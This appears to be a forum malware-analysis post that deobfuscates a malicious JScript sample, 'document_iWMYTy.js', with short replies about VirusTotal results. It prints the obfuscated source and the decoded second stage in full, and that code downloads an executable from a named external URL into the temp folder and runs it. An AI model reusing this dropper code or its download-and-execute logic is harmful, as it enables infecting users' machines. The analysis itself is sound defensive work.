Malware Analysis Deobfuscation of 'document_iWMYTy.js' (1/56 : 31_08_2016)

DardiM · Aug 31, 2016

From : https://malwaretips.com/threads/31-8-16-6.62930/
Thanks to @Solarquest)

Sample 5:

5 document_iWMYTy.js

1/56
Antivirus scan for f2b23bb90176ea682246d191c47d5ce890d1362b51316f7f4862d165c3bac11c at 2016-09-05 10:39:45 UTC - VirusTotal

Why this sample ?

Obfuscation Method never analysed by me at MT.

1) What it looks like :

function vieag() {
return obWnumtlk.ExpandEnvironmentStrings(omYcXJw())
}
function dbusESbAHhk() {
return obWnumtlk.ExpandEnvironmentStrings('%T' + 'MP%') + String.fromCharCode(92) + 'dDhUJJXRFIby.js'
}
var TmOQLQMiKBSHZM = [];
TmOQLQMiKBSHZM.push("\x6b" + "\x56" + "\x4d");
TmOQLQMiKBSHZM.push("\x53" + "\x63\x72\x69\x70\x74\x69\x6e\x67\x2e\x46\x69\x6c\x65\x53\x79\x73\x74\x65\x6d\x4f\x62\x6a\x65\x63\x74");
TmOQLQMiKBSHZM.push("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c");
TmOQLQMiKBSHZM.push("\x64\x44\x68\x55\x4a\x4a\x58\x52\x46\x49\x62\x79");
TmOQLQMiKBSHZM.push("");
TmOQLQMiKBSHZM.push("");
TmOQLQMiKBSHZM.push("\x72\x4a\x6b\x50\x6d\x48\x76\x69\x53\x4f\x74\x73\x4b\x4c\x2a\x25\x54\x2a\x54\x63\x44\x43\x50\x67\x4f\x64\x64\x79\x5a\x72\x56\x2a\x4b\x58\x67\x54\x69\x6d\x41\x66\x5a\x2a\x6d\x6e\x43\x48\x63\x75\x73\x75\x79\x71\x66\x4c\x51\x70\x2a\x4d\x2a\x55\x58\x75\x61\x72\x49\x4a\x76\x78\x2a\x50\x25\x2a\x78\x6c\x78\x64\x69\x71\x76\x4b");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x50\x6f\x71\x65\x6e\x43\x6a\x62\x4e\x55\x4f\x43\x74\x64\x2a\x5a\x63\x41\x48\x7a\x43\x64\x4b\x61\x4f\x49\x54\x6e\x2a\x77\x2a\x6c\x71\x6d\x4f\x73\x2a\x73\x63\x72\x69\x70\x2a\x41\x6c\x6b\x68\x54\x6d\x45\x2a\x77\x78\x6a\x73\x6b\x2a\x4e\x70\x76\x54\x70\x52\x6b\x76\x6e\x2a\x74\x2e\x65\x2a\x43\x73\x6a\x4d\x48\x2a\x78\x65\x20\x2a\x59\x44\x65\x43\x4a\x4c\x66\x54\x72\x6c\x6b\x41\x76\x75");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x2e\x2a\x65\x49\x61\x59\x49\x59\x6c\x64\x52\x72\x48\x75\x54\x2a\x47\x72\x76\x7a\x54\x2a\x6a\x2a\x42\x61\x6b\x74\x68\x69\x52\x2a\x43\x78\x72\x59\x6c\x52\x71\x2a\x73\x2a\x62\x66\x43\x68\x43\x6a\x67\x71\x4d\x4e\x6c\x54\x2a\x69\x4c\x65\x52\x5a\x59\x56\x45\x61\x68\x56\x75\x79");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x72\x75\x6e");

function ZmDvKDROUbeY(mzSWDJgPXR, TTrBlYfs, miNczRxyhlryzl) {

fjgRFPuky = mzSWDJgPXR.split(miNczRxyhlryzl);
UjSexL = TmOQLQMiKBSHZM[0];
qKoHV = 0;
while (true) {
if (qKoHV >= TTrBlYfs.length) {
break;
}
UjSexL += fjgRFPuky[TTrBlYfs[qKoHV]];
qKoHV++;
}
return UjSexL.substring(3, UjSexL.length);

}
caIjqKdglgHJ = new String();
var llstSfBy = new Date();
while (true) {

var dSbro = new Date();
var oZnEUHR = new Date(dSbro.getTime() - llstSfBy.getTime());
if (oZnEUHR.getSeconds() > 5) {

caIjqKdglgHJ =

["Z", "B", "z", "k", "3", "E", "F", "G", "H", "I", "J", "K", "L", "a", "b", "c", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "A", "0", "1", "2", "4", "6", "7", "8", "9", "M", "N", "O", "d", "e", "f", "g", "h", "i", "j", "5", "D", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "C", "+", "/", "="];

break;
}

WScript.Sleep(1000);
}

var tQsqVjHOaCz = jnMWjogwsmcQ("kPgd2VvM2FOl09BdQdnlVTgu1NrnJ32N2F2wTeQhKFnvRVU313rXSV5319N74q2N2F2wTeQhKOIr098j4TOOQGBaV3riQGHjHkBuLRm7LG7mJS5CkPflJd8A2VU3Rsa84FEq0dQa1W2O0GIFSWIt23vsYEIp0sg30WEDRq8n1EElRTnA2FgBTT25AWYlR3YoXNvpSFYt1d85VdIKQtBsVUgKVFQ3XNY3XqYSQTgnRT5g4NE8SU8pYdUNRVQvRWUBQFYMPN2jQ3np1t2fVWQF2sgEPqO5TdrsTTEgTVgs0e29UVIqQEBr03IwUFUeTGUzYFauRNYdXd2t1TaWSqI8SGaMU3UqSdYdQEgh2V8EYVERUVrOTqvIAOYBTG25XT2rPqThKsOO2d2b2G2H1GgzUePfJSjazeY819BK
...............................
dQl0R7gJOUmXUgOTO8qKdnO0d2qAzNgbtroYWQr1du7AFaBTWHx6PqJYeUDXtQg0su7QdgMYT5q4OQqYFabQrPf4V2VTrOcAN8lYE2mQUPgHG5oYWQr1du70dUtH3EM2FOsYU8cXdgOXtPf4V2VTrOcAN8lYE2mQUPgbtqaz7==");

var aEDGtMwt = function() {
return new /*nzknJaFEhAKPCE*/ ActiveXObject(TmOQLQMiKBSHZM[1]);
}();
var obWnumtlk = function() {
return WScript.CreateObject(TmOQLQMiKBSHZM[2]);
}();

cJsHVL(aEDGtMwt, dbusESbAHhk(), tQsqVjHOaCz);
AfzFZ(obWnumtlk, MACECTYk() + vieag() + String.fromCharCode(92) + TmOQLQMiKBSHZM[3] + FhMKtMKvYiYM());

function HUILQ(tiAiWOziPrDiGLmueE, ruDSpJjoOhOUdgUMIeWzHtiu) {
return tiAiWOziPrDiGLmueE.replace().indexOf(ruDSpJjoOhOUdgUMIeWzHtiu);
}

function UfqHaxTeCQG(HGvGWQ, nCVYGG) {
return HGvGWQ.charAt(nCVYGG);
}

function U(QnWoxb) {
return String.fromCharCode(QnWoxb);
}

function TglQpUJYnasMCzqPfgTwOSOz(lFrZgairLtIxc, nBovdQteoUBYexzKnxvEXzj) {
return String.fromCharCode(lFrZgairLtIxc, nBovdQteoUBYexzKnxvEXzj);
}

function rQlGTCjHRbJZnHat(YpgYd, iZjlYtirmkiRe, fCyitEoyAt) {
return String.fromCharCode(YpgYd, iZjlYtirmkiRe, fCyitEoyAt);
}

function jnMWjogwsmcQ(DMEuOowRNhVpr) {
var JqkRfASu = caIjqKdglgHJ.join(TmOQLQMiKBSHZM[4]);
var vEBNBCDIChAFPrCSrYS, UNZukwlBEmwIIUfPGGosxeq, gGalhxhiZQBIASErc, LvrhFZyNyrGsaqIJifC, HXgoXumRiuvv, MwYntz, AiPBbLknEwhGuevKCo, IoPdTYglGU, ziKcqJ = 0,
jxFGihBSHFlEz = TmOQLQMiKBSHZM[5];
do {
LvrhFZyNyrGsaqIJifC = HUILQ(JqkRfASu, UfqHaxTeCQG(DMEuOowRNhVpr, ziKcqJ++));
HXgoXumRiuvv = HUILQ(JqkRfASu, UfqHaxTeCQG(DMEuOowRNhVpr, ziKcqJ++));
MwYntz = HUILQ(JqkRfASu, UfqHaxTeCQG(DMEuOowRNhVpr, ziKcqJ++));
AiPBbLknEwhGuevKCo = HUILQ(JqkRfASu, UfqHaxTeCQG(DMEuOowRNhVpr, ziKcqJ++));
IoPdTYglGU = LvrhFZyNyrGsaqIJifC << 18 | HXgoXumRiuvv << 12 | MwYntz << 6 | AiPBbLknEwhGuevKCo;
vEBNBCDIChAFPrCSrYS = IoPdTYglGU >> 16 & 0xff;
UNZukwlBEmwIIUfPGGosxeq = IoPdTYglGU >> 8 & 0xff;
gGalhxhiZQBIASErc = IoPdTYglGU & 0xff;
if (MwYntz == 64) jxFGihBSHFlEz += U(vEBNBCDIChAFPrCSrYS);
else if (AiPBbLknEwhGuevKCo == 64) jxFGihBSHFlEz += TglQpUJYnasMCzqPfgTwOSOz(vEBNBCDIChAFPrCSrYS, UNZukwlBEmwIIUfPGGosxeq);
else jxFGihBSHFlEz += rQlGTCjHRbJZnHat(vEBNBCDIChAFPrCSrYS, UNZukwlBEmwIIUfPGGosxeq, gGalhxhiZQBIASErc);
} while (ziKcqJ < DMEuOowRNhVpr.length);
return jxFGihBSHFlEz;
}

function omYcXJw() {
return ZmDvKDROUbeY(TmOQLQMiKBSHZM[6], [1, 5, 7], TmOQLQMiKBSHZM[7]);
}

function MACECTYk() {
return ZmDvKDROUbeY(TmOQLQMiKBSHZM[8], [2, 4, 8, 10], TmOQLQMiKBSHZM[9]);
}

function FhMKtMKvYiYM() {
return ZmDvKDROUbeY(TmOQLQMiKBSHZM[10], [0, 3, 6], TmOQLQMiKBSHZM[11]);
}

function AfzFZ(EOJUGdwva, upIslkONuZdKS) {
var zbqgCbCVWwkid = [TmOQLQMiKBSHZM[12]];
EOJUGdwva[zbqgCbCVWwkid[0]]
(upIslkONuZdKS, 0x1, 0x0)
}

function cJsHVL(UvzvIA, VjTGaiNuUBPgF, mqUyTKyNSmm) {
var TpMPzXgtwzTg = XkEZqeLzGdBEgB(UvzvIA, VjTGaiNuUBPgF);
TpMPzXgtwzTg.WriteLine(mqUyTKyNSmm);
TpMPzXgtwzTg.Close();
}

function XkEZqeLzGdBEgB(miETtK, QADeBTGed) {
return miETtK.createtextfile(QADeBTGed, true);
}

It could appears complicated, but doing like on my previous analysis, we will see it's not too hard to understand.

2) Looking for the important parts :

Always separate the functions, from the other values :

2-1) The tab :

var TmOQLQMiKBSHZM = [];

TmOQLQMiKBSHZM.push("\x6b" + "\x56" + "\x4d");
TmOQLQMiKBSHZM.push("\x53" + "\x63\x72\x69\x70\x74\x69\x6e\x67\x2e\x46\x69\x6c\x65\x53\x79\x73\x74\x65\x6d\x4f\x62\x6a\x65\x63\x74");
TmOQLQMiKBSHZM.push("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c");
TmOQLQMiKBSHZM.push("\x64\x44\x68\x55\x4a\x4a\x58\x52\x46\x49\x62\x79");
TmOQLQMiKBSHZM.push("");
TmOQLQMiKBSHZM.push("");
TmOQLQMiKBSHZM.push("\x72\x4a\x6b\x50\x6d\x48\x76\x69\x53\x4f\x74\x73\x4b\x4c\x2a\x25\x54\x2a\x54\x63\x44\x43\x50\x67\x4f\x64\x64\x79\x5a\x72\x56\x2a\x4b\x58\x67\x54\x69\x6d\x41\x66\x5a\x2a\x6d\x6e\x43\x48\x63\x75\x73\x75\x79\x71\x66\x4c\x51\x70\x2a\x4d\x2a\x55\x58\x75\x61\x72\x49\x4a\x76\x78\x2a\x50\x25\x2a\x78\x6c\x78\x64\x69\x71\x76\x4b");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x50\x6f\x71\x65\x6e\x43\x6a\x62\x4e\x55\x4f\x43\x74\x64\x2a\x5a\x63\x41\x48\x7a\x43\x64\x4b\x61\x4f\x49\x54\x6e\x2a\x77\x2a\x6c\x71\x6d\x4f\x73\x2a\x73\x63\x72\x69\x70\x2a\x41\x6c\x6b\x68\x54\x6d\x45\x2a\x77\x78\x6a\x73\x6b\x2a\x4e\x70\x76\x54\x70\x52\x6b\x76\x6e\x2a\x74\x2e\x65\x2a\x43\x73\x6a\x4d\x48\x2a\x78\x65\x20\x2a\x59\x44\x65\x43\x4a\x4c\x66\x54\x72\x6c\x6b\x41\x76\x75");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x2e\x2a\x65\x49\x61\x59\x49\x59\x6c\x64\x52\x72\x48\x75\x54\x2a\x47\x72\x76\x7a\x54\x2a\x6a\x2a\x42\x61\x6b\x74\x68\x69\x52\x2a\x43\x78\x72\x59\x6c\x52\x71\x2a\x73\x2a\x62\x66\x43\x68\x43\x6a\x67\x71\x4d\x4e\x6c\x54\x2a\x69\x4c\x65\x52\x5a\x59\x56\x45\x61\x68\x56\x75\x79");
TmOQLQMiKBSHZM.push("\x2a");
TmOQLQMiKBSHZM.push("\x72\x75\x6e");

A tab with unescape unicode

Real content :

"kVM"
"Scripting.FileSystemObject"
"WScript.Shell"
"dDhUJJXRFIby"
""
""
"rJkPmHviSOtsKL*%T*TcDCPgOddyZrV*KXgTimAfZ*mnCHcusuyqfLQp*M*UXuarIJvx*P%*xlxdiqvK"
"*"
"PoqenCjbNUOCtd*ZcAHzCdKaOITn*w*lqmOs*scrip*AlkhTmE*wxjsk*NpvTpRkvn*t.e*CsjMH*xe *YDeCJLfTrlkAvu"
"*"
".*eIaYIYldRrHuT*GrvzT*j*BakthiR*CxrYlRq*s*bfChCjgqMNlT*iLeRZYVEahVuy"
"*"
"run"

What looks like strange strings, are in fact used later by the script, when needed.
Several different manipulations are done to deobfuscate "strings" , in this sample.

One example for the moment :

"PoqenCjbNUOCtd*ZcAHzCdKaOITn*w*lqmOs*scrip*AlkhTmE*wxjsk*NpvTpRkvn*t.e*CsjMH*xe

=> wscript.exe

2.2) Timer and other important tab :

caIjqKdglgHJ = new String();
var llstSfBy = new Date();
while (true) {

var dSbro = new Date();

var oZnEUHR = new Date(dSbro.getTime() - llstSfBy.getTime());

if (oZnEUHR.getSeconds() > 5) {

caIjqKdglgHJ =

["Z", "B", "z", "k", "3", "E", "F", "G", "H", "I", "J", "K", "L", "a", "b", "c", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "A", "0", "1", "2", "4", "6", "7", "8", "9", "M", "N", "O", "d", "e", "f", "g", "h", "i", "j", "5", "D", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "C", "+", "/", "="];

break;
}

WScript.Sleep(1000);
}

The script wait 5 seconds and then create a tab of chars :

=> if I put it on a string, you will see better what is the function of this tab

"ZBzk3EFGHIJKLabcPQRSTUVWXYA01246789MNOdefghij5DlmnopqrstuvwxyC+/="

=> base 64 chars and =, in another order than usually used

=> to make a pseudo Base64 Decode, on chars encoded with this order

Their decoding function :

function jnMWjogwsmcQ(string_to_be_decoded) {
...
...
}

2-3) What is hidden in this long string !?

var tQsqVjHOaCz = jnMWjogwsmcQ("kPgd2VvM2FOl09BdQdnlVTgu1NrnJ32N2F2wTeQhKFnvRVU313rXSV5319N74q2N2F2wTeQhKOIr098j4TOOQGBaV3riQGHjHkBuLRm7LG7mJS5CkPflJd8A2VU3Rsa84FEq0dQa1W2O0GIFSWIt23vsYEIp0sg30WEDRq8n1EElRTnA2FgBTT25AWYlR3YoXNvpSFYt1d85VdIKQtBsVUgKVFQ3XNY3XqYSQTgnRT5g4NE8SU8pYdUNRVQvRWUBQFYMPN2jQ3np1t2fVWQF2sgEPqO5TdrsTTEgTVgs0e29UVIqQEBr03IwUFUeTGUzYFauRNYdXd2t1TaWSqI8SGaMU3UqSdYdQEgh2V8EYVERUVrOTqvIAOYBTG25XT2rPqThKsOO2d2b2G2H1GgzUePfJSjazeY819BKArUdQ9ZCHEj9AGQq1kflKsQh1GIO1tQgYsTD0dUqKp3nLSZmLzCj0s2pKsnlYtLD1F8mHOqxkPgsXWH7UTUaRkqsLp15aMLtbmqJ2s8g0FTf2GIrYRN74mqJAVXfRs5UYNXD0FUDYtQfckquLMP5bkHqJRB91dU8ApjazeY819BBXU2kHkq7PdnjXqaeAR7gHzT7Rs5UYNXD0FUDYtQfbmqJ2dEoH3nBTd8qAVElUMrKArUdQO5BXU2kWSjazeY819B5QN
...
...
");

tQsqVjHOaCz will contains the special Base64 decoded string that contains very important parts:
I put in red and blue bold what may be well looked

"
function fFloYJxrMq(GdtgzRtj,lyIeDpMXMkDr) {

GdtgzRtj.Run(lyIeDpMXMkDr, 0x1, 0x0);

}

/*hZueDKcaxatndMqwelrFMrwtNvdRsojDmqnKHqpQoILZtjAQGmivoHFrbNsLfwrhmZbKGpvYZKXdDbFDcFSEJqIKizAaMXsfedIdyIuADfcBGlDLsswhYtFwjECImRmvQAiQjvnwbUbtDPulBzTegPuBdcxJFfbgwqCWOBaLscTEtNffDZjuhEeaRUmeSNIjVAPwmaGuCE*/
ievgNtwHpzBVt();

var KkUfF = ["http ://djprestige.net/111000/logs/logs.php"];
var UEMH=637-637;
while(true) {

if(KkUfF.length<=824-824) break;
var AaWC = BllcCgi() % KkUfF.length;
var LARhtiaoV=KkUfF[AaWC];
var mFGoe=BllcCgi();
var hUbTAlCkvX='xgRqdfZ_'+mFGoe +'.exe';
var SJQWojo='xgRqdfZ_'+mFGoe +'.exe';
var AHsFmJCp=877-876;
var oidVjrlxN = function(){

return new ActiveXObject(NLqcZ('WS&niOiBwhcg&cript&niOiBwhcg&.She&l&l',[0,2,4,5,6],'&'));

}();
var SJQWojo = DwfHWk(oidVjrlxN) + String.fromCharCode(92) + SJQWojo;
var CDKBT = function(){

return new ActiveXObject(NLqcZ('MSX&PRNJPlMpg&ML2.XM&hYYzXVOhACp&LHTTP',[0,2,4],'&'));

}();
nGQI(LARhtiaoV,CDKBT);
if (CDKBT.status == 100+100) {

var xvtZQuA = function() {

return new ActiveXObject(NLqcZ('ADO&DB&NhrHELmvq&.&DMIkBQbWW&Stream',[0,1,3,5],'&'));

}();
var fwGzkhGPhaog=NXbWm(xvtZQuA,CDKBT.ResponseBody,SJQWojo);

}
try {

fFloYJxrMq(oidVjrlxN,SJQWojo);
var LxaYiEy = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \\''+hUbTAlCkvX+'\\'');
if ( LxaYiEy.Count >= 1 ){

break;

}

} catch(e) {}
UEMH++;
KkUfF.splice (AaWC,460-459);

}
function DwfHWk(hYTCRr){

var IycTzaXN=["ExpandEnvironmentStrings"];
return hYTCRr[IycTzaXN[0]]('%TMP%')

}
function NXbWm(mCUmexcU,KFvNO,rvXDAccOxN){

try{

mCUmexcU.open();
dcdEgRlK(mCUmexcU);
gTHAzTo(mCUmexcU,KFvNO);
OtcrlNKfx(mCUmexcU);
tVYh(mCUmexcU,rvXDAccOxN);
iGZCSRAS=mCUmexcU.size;
MsCkKpm(mCUmexcU);
return iGZCSRAS;

}
catch(e){}

}
function nGQI(XKowap,LhcfAni){

try{

uyMW = 'G*RXeyIPlrFs*E*T*HITxpbjyJANk'.split('*');
LhcfAni.open(uyMW[0]+uyMW[2]+uyMW[3], XKowap, false);
LhcfAni.setRequestHeader("User-Agent", "Python-urllib/3.1");
LhcfAni.send();

}
catch(e){}

}

function NLqcZ(NdPrkNQo,hDYOkm,DpwZyRyCb){

ELGAP=NdPrkNQo.split(DpwZyRyCb);
RCerksA = 'kwN';
for(QtfdnNuX=0;QtfdnNuX<hDYOkm.length;QtfdnNuX++) {

RCerksA+=ELGAP[hDYOkm[QtfdnNuX]];

}
return RCerksA.substring(3,RCerksA.length);

}

function ievgNtwHpzBVt() {
~~/*xzFsWaRFUg().Sleep(5390-457);*/~~
}

function iREZTlp(){

var PfySEO=["random"];
return Math[PfySEO[0]]()

}

function OYRG(qqGjrm) {

qqGjrm.open();

}
function dcdEgRlK(oHaxAbhhn) {

oHaxAbhhn.type=1;

}
function gTHAzTo(LmvV,SYiUv) {

LmvV.write(SYiUv);

}

function xzFsWaRFUg() {

return~~/*LiDIlHHYQgtUykxOIYfyrbdpZyBgDUloDttFWBKygwvKhJlGxtsfZfCzmYZFjCwQpYdXAOGsrfqTKBSRfhzgACVctRryJFALUWGHYvvFu*/~~WScript;

}
function OtcrlNKfx(BMJavz) {

var CaGOHdTYym=[];
BMJavz.position=CaGOHdTYym.length*(5229892-628);

}
function tVYh(TWHSDTw,ZjePGWv) {

TWHSDTw.saveToFile(ZjePGWv, 2);

}
function MsCkKpm(pIaLc) {

pIaLc.close();

}
function BllcCgi() {

var YSrn=100000;
var TCcqLl = 100;
return Math.round(iREZTlp()*(YSrn-TCcqLl)+TCcqLl);

}
function ZMXXuqDs(YwbAV) {

var UpaZeRXt='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for(var QGWQw=0;QGWQw<YwbAV;QGWQw++){

hcAQr+=UpaZeRXt.charAt(Math.floor(Math.random()*UpaZeRXt.length));

}
return hcAQr;

}
function FjceKtzTtdcNGT(ygVSYOjHodWpET) {

return new ActiveXObject(ygVSYOjHodWpET);

}
"

Look at this function, called several times NLqcZ :

One example :

return new ActiveXObject(NLqcZ('WS&niOiBwhcg&cript&niOiBwhcg&.She&l&l',[0,2,4,5,6],'&'));

it works like this :

- separate the string in several parts by spliting it with the char '&'
- use the values on the tab to make the string decoded
WS
niOiBwhcg
cript
niOiBwhcg
.She
l
l
=> new ActiveXObject("WScript.shell")

The same way for :

new ActiveXObject("MSXML2.XMLHTTP")
new ActiveXObject("ADODB.Stream")

Another method used : direct build

uyMW = 'G*RXeyIPlrFs*E*T*HITxpbjyJANk'.split('*'); => "GET"

Payload :

xgRqdfZmFGoe.exe

URL:

var KkUfF = ["http: //djprestige.net/111000/logs/logs.php"];

var AaWC = BllcCgi() % KkUfF.length; => to obfuscate a bit more : get a random valid index
var LARhtiaoV=KkUfF[AaWC]; => retrieve the URL at index AaWC
=> the URL used will be "completely removed from the array of URLS
=> here : only one URL used => next loop, exit the script

=> LARhtiaoV = http://djprestige.net/111000/logs/logs.php

function nGQI(XKowap,LhcfAni){

try{

uyMW = 'G*RXeyIPlrFs*E*T*HITxpbjyJANk'.split('*'); => "GET"
LhcfAni.open(uyMW[0]+uyMW[2]+uyMW[3], XKowap, false);
LhcfAni.setRequestHeader("User-Agent", "Python-urllib/3.1");
LhcfAni.send();

}
catch(e){}

}

nGQI(LARhtiaoV,CDKBT);

if (CDKBT.status == 100+100) { => 200 : HTTP OK

var xvtZQuA = function() {

return new ActiveXObject(NLqcZ('ADO&DB&NhrHELmvq&.&DMIkBQbWW&Stream',[0,1,3,5],'&'));

}();
var fwGzkhGPhaog=NXbWm(xvtZQuA,CDKBT.ResponseBody,SJQWojo);

}
try {

fFloYJxrMq(oidVjrlxN , SJQWojo); => run
var LxaYiEy = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \\''+hUbTAlCkvX+'\\'');
if ( LxaYiEy.Count >= 1 ){ => xgRqdfZmFGoe.exe already in memory ?

break;

}

} catch(e) {}
UEMH++; => useless
KkUfF.splice (AaWC,460-459); => useless

3) When this hidden part is used ?

The all functions and part we have seen in 2) parts, are in a var, once decoded.

...
...
var tQsqVjHOaCz = jnMWjogwsmcQ("kPgd2VvM2FOl09BdQdnlVTgu1NrnJ32N2F2wTeQhKFnvRVU313rXSV5319N74q2N2F2wTeQhKOIr098j4TOOQGBaV3riQGHjHkBuLRm7LG7mJS5CkPflJd8A2VU3Rsa84FEq0dQa1W2O0GIFSWIt23vsYEIp0sg30WEDRq8n1EElRTnA2FgBTT25AWYlR3YoXNvpSFYt1d85VdIKQtBsVUgKVFQ3XNY3XqYSQTgnRT5g4NE8SU8pYdUNRVQvRWUBQFYMPN2jQ3np1t2fVWQF2sgEPqO5TdrsTTEgTVgs0e29UVIqQEBr03IwUFUeTGUzYFauRNYdXd2t1TaWSqI8SGaMU3UqSdYdQEgh2V8EYVERUVrOTqvIAOYBTG25XT2rPqThKsOO2d2b2G2H1GgzUePfJSjazeY819BK
...............................
dQl0R7gJOUmXUgOTO8qKdnO0d2qAzNgbtroYWQr1du7AFaBTWHx6PqJYeUDXtQg0su7QdgMYT5q4OQqYFabQrPf4V2VTrOcAN8lYE2mQUPgHG5oYWQr1du70dUtH3EM2FOsYU8cXdgOXtPf4V2VTrOcAN8lYE2mQUPgbtqaz7==");

This is what are called after, you must remember the first tab decoded :

TmOQLQMiKBSHZM :

"kVM"
"Scripting.FileSystemObject"
"WScript.Shell"
"dDhUJJXRFIby"
""
""
"rJkPmHviSOtsKL*%T*TcDCPgOddyZrV*KXgTimAfZ*mnCHcusuyqfLQp*M*UXuarIJvx*P%*xlxdiqvK"
"*"
"PoqenCjbNUOCtd*ZcAHzCdKaOITn*w*lqmOs*scrip*AlkhTmE*wxjsk*NpvTpRkvn*t.e*CsjMH*xe *YDeCJLfTrlkAvu"
"*"
".*eIaYIYldRrHuT*GrvzT*j*BakthiR*CxrYlRq*s*bfChCjgqMNlT*iLeRZYVEahVuy"
"*"
"run"

var aEDGtMwt = function() {

return new ~~/*nzknJaFEhAKPCE*/~~ ActiveXObject(TmOQLQMiKBSHZM[1]); => "Scripting.FileSystemObject"

}();

var obWnumtlk = function() {

return WScript.CreateObject(TmOQLQMiKBSHZM[2]); => "WScript.Shell"

}();

EXPLANATIONS :

cJsHVL(aEDGtMwt, dbusESbAHhk(), tQsqVjHOaCz); => third parameter, the hidden part on the long string we have seen before !

function cJsHVL(aEDGtMwt, VjTGaiNuUBPgF, mqUyTKyNSmm) {

var TpMPzXgtwzTg = XkEZqeLzGdBEgB(UvzvIA, VjTGaiNuUBPgF);
TpMPzXgtwzTg.WriteLine(mqUyTKyNSmm);
TpMPzXgtwzTg.Close();

}
function XkEZqeLzGdBEgB(miETtK, QADeBTGed) {
return miETtK.createtextfile(QADeBTGed, true);
}

With :

- aEDGtMwt : File System Object
- dbusESbAHhk() : %TEMP%\dDhUJJXRFIby.js (=> String.fromCharCode(92) : \ )

function dbusESbAHhk() {

return obWnumtlk.ExpandEnvironmentStrings('%T' + 'MP%') + String.fromCharCode(92) + 'dDhUJJXRFIby.js'

}

In fact, the hidden part is written on a temp js file : dDhUJJXRFIby.js

AfzFZ(obWnumtlk, MACECTYk() + vieag() + String.fromCharCode(92) + TmOQLQMiKBSHZM[3] + FhMKtMKvYiYM());

=>

(1) obWnumtlk :

var obWnumtlk = function() {

return WScript.CreateObject(TmOQLQMiKBSHZM[2]); => "WScript.Shell"

}();

(2) MACECTYk() + vieag() + String.fromCharCode(92) + TmOQLQMiKBSHZM[3] + FhMKtMKvYiYM() :

function MACECTYk() {

return ZmDvKDROUbeY(TmOQLQMiKBSHZM[8], [2, 4, 8, 10], TmOQLQMiKBSHZM[9]);

}

=>"PoqenCjbNUOCtd*ZcAHzCdKaOITn*w*lqmOs*scrip*AlkhTmE*wxjsk*NpvTpRkvn*t.e*CsjMH*xe *YDeCJLfTrlkAvu"

=> Remember how they retrieves good strings : tab of number and a split char

"PoqenCjbNUOCtd*ZcAHzCdKaOITn*w~~*lqmOs*~~scrip~~*AlkhTmE*wxjsk*NpvTpRkvn*~~t.e~~*CsjMH*~~xe

=> "script.exe " (with a blank char at the end)

function vieag() {
return obWnumtlk.ExpandEnvironmentStrings(omYcXJw())
}

=>

function omYcXJw() {

return ZmDvKDROUbeY(TmOQLQMiKBSHZM[6], [1, 5, 7], TmOQLQMiKBSHZM[7]);

}

=>

"rJkPmHviSOtsKL*%T*TcDCPgOddyZrV*KXgTimAfZ*mnCHcusuyqfLQp*M*UXuarIJvx*P%*xlxdiqvK"

=> "rJkPmHviSOtsKL*%T~~*TcDCPgOddyZrV*KXgTimAfZ*mnCHcusuyqfLQp*~~M~~*UXuarIJvx*~~P%*xlxdiqvK"

=> %TMP%

=> Expands environment-variable strings and replaces them with the values defined for the current user.

String.fromCharCode(92)

=> char : \

TmOQLQMiKBSHZM[3]

=> "dDhUJJXRFIby"

function FhMKtMKvYiYM() {

return ZmDvKDROUbeY(TmOQLQMiKBSHZM[10], [0, 3, 6], TmOQLQMiKBSHZM[11]);

}

=> ".*eIaYIYldRrHuT*GrvzT*j*BakthiR*CxrYlRq*s*bfChCjgqMNlT*iLeRZYVEahVuy"

=> ".~~*eIaYIYldRrHuT*GrvzT*~~j~~*BakthiR*CxrYlRq*~~s*bfChCjgqMNlT*iLeRZYVEahVuy"

=> ".js"

Conclusion :

AfzFZ(obWnumtlk, MACECTYk() + vieag() + String.fromCharCode(92) + TmOQLQMiKBSHZM[3] + FhMKtMKvYiYM());

Can be simplified :

shell.Run("command here");

"script.exe " + "%TMP%\" + "dDhUJJXRFIby.js"

Run the new js file : dDhUJJXRFIby.js

function AfzFZ(EOJUGdwva, upIslkONuZdKS) {
var zbqgCbCVWwkid = [TmOQLQMiKBSHZM[12]]; => in the famous first tab : "run"
EOJUGdwva[zbqgCbCVWwkid[0]]
(upIslkONuZdKS, 0x1, 0x0)
}

=> run(upIslkONuZdKS, 0x1, 0x0)

4) Summary :

This sample script :

- deobfuscates the real part, that was on a var string encrypted in a sort of Base64 (in another order),
- writes this content on a new js file : dDhUJJXRFIby.js
- and runs it

dDhUJJXRFIby.js :

- downloads the payload : xgRqdfZmFGoe.exe
- from http: //djprestige.net/111000/logs/logs.php
- runs it

5) Conclusion :

A lot of parts could be analysed to show all useless parts wrote to make hardest to understand the code. I won't details more than above, I think it was sufficient to understand the method used

If you have any question, I will be happy to answer

Solarquest · Sep 1, 2016

@DardiM, thank you for the analysis.
Unfortunately the first part is still "chinese" for me, so thank you for the summary at the end!

Interesting that vt=3 for

Code:

http://djprestige.net/111000/logs/logs.php

https://www.virustotal.com/en/url/1...8f8918fb76754b45609a50727cade7c568a/analysis/
And vt=0 for the downloaded file....apparently VT doesn't manage to download the real file xgRqdfZmFGoe.exe
But only a .txt file.

DardiM · Sep 1, 2016

Solarquest said:
@DardiM, thank you for the analysis.
Unfortunately the first part is still "chinese" for me, so thank you for the summary at the end!
Interesting that vt=3 for

Code:

http: //djprestige.net/111000/logs/logs.php

https://www.virustotal.com/en/url/1...8f8918fb76754b45609a50727cade7c568a/analysis/
And vt=0 for the downloaded file....apparently VT doesn't manage to download the real file xgRqdfZmFGoe.exe
